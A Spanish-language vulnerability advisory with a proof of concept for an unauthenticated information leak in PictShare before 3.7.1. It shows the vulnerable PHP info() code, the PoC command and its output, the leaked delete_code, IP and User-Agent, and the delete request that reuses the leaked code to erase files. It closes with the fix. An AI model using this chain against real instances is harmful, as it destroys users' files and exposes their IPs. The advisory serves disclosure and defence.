Divulgación de información sensible a través de la API info en PictShare < 3.7.1 (CWE-522). PoC + informe de aviso.
info en PictShareInvestigación de seguridad autorizada. PoC solo para uso defensivo y educativo.
El endpoint /api/info/<hash> de PictShare
devuelve el objeto de metadatos sin procesar completo de cualquier archivo subido — incluyendo el
delete_code secreto que autoriza la eliminación, además de la IP del uploader, el User-Agent, el puerto remoto y
el SHA-1. Un atacante no autenticado que conoce el hash (públicamente visible) de un archivo puede leer su
delete_code y luego eliminar permanentemente archivos alojados arbitrarios.
| CVE | CVE-2026-104051 |
| Producto | PictShare (host de imágenes/media autoalojado) |
| Afectado | >= 2.0.0, < 3.7.1 |
| Corregido en | v3.7.1 |
| Vulnerabilidad | Credenciales insuficientemente protegidas (CWE-522) → eliminación arbitraria de archivos + pérdida de privacidad |
| Privilegios | Ninguno (no autenticado) |
| CVSS 3.1 | 8.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H |
| CVSS 4.0 | 8.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H |
| Descubierto por | Alisher Qarshibayev |
| Aviso | VulnCheck |
API::info() busca el hash y devuelve getMetadataOfHash() tal cual — sin lista blanca
de campos:
// src/inc/api.class.php (< 3.7.1)
public function info()
{
$hash = $this->url[1] ?? '';
if (!$hash) return ['status' => 'err', 'reason' => 'Missing hash'];
if (!isExistingHash($hash)) return ['status' => 'err', 'reason' => 'Hash not found'];
return getMetadataOfHash($hash); // <-- raw meta.json, includes delete_code, ip, useragent
}
Y checkPermissions() — la única barrera antes de la ruta info — verifica la capacidad de
escritura del sistema de archivos, no la identidad, por lo que info es accesible sin autenticación:
public function checkPermissions()
{
if (!isFolderWritable(getDataDir())) throw new Exception('Data directory not writable');
else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}
Los metadatos devueltos contienen delete_code, que la API de eliminación acepta como único
secreto de autorización:
// src/inc/api.class.php delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);
Los hashes de archivo son públicos (aparecen en cada URL de imagen compartida), por lo que toda la cadena —
filtrar el código vía info, luego eliminar vía delete — no necesita nada más que la URL que un usuario
ya compartió.
python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step
Resultado esperado:
[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
delete_code : 7f3a9c1e... <-- SECRET, should never be exposed
ip : 203.0.113.44 <-- uploader privacy leak
useragent : Mozilla/5.0 ...
remote_port : 51544
sha1 : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}
Ver poc.py. La eliminación es opt-in (--delete) por lo que la ejecución por defecto es
de solo lectura y no destructiva.
Actualizar a PictShare 3.7.1 (commit de corrección ce5fc47).
info() ahora devuelve una lista blanca estricta (mime, size, hash, sha1, uploaded) y ya
no filtra delete_code, ip, useragent ni remote_port. Guía general: las respuestas de API
deben incluir campos en una lista blanca explícita; nunca serializar un registro interno que mezcle
secretos con datos públicos.
Relacionado: CVE-2026-104356 — incluso sin esta filtración, el
delete_codeera predecible porque se generaba conrand().
| Fecha | Evento |
|---|---|
| 2026-10-01 | Divulgación pública, CVE reservado y publicado (VulnCheck), corregido en v3.7.1 |
Divulgado de forma responsable al proveedor y coordinado a través de VulnCheck. Corregido antes de que este PoC fuera publicado. Publicado con fines defensivos y educativos.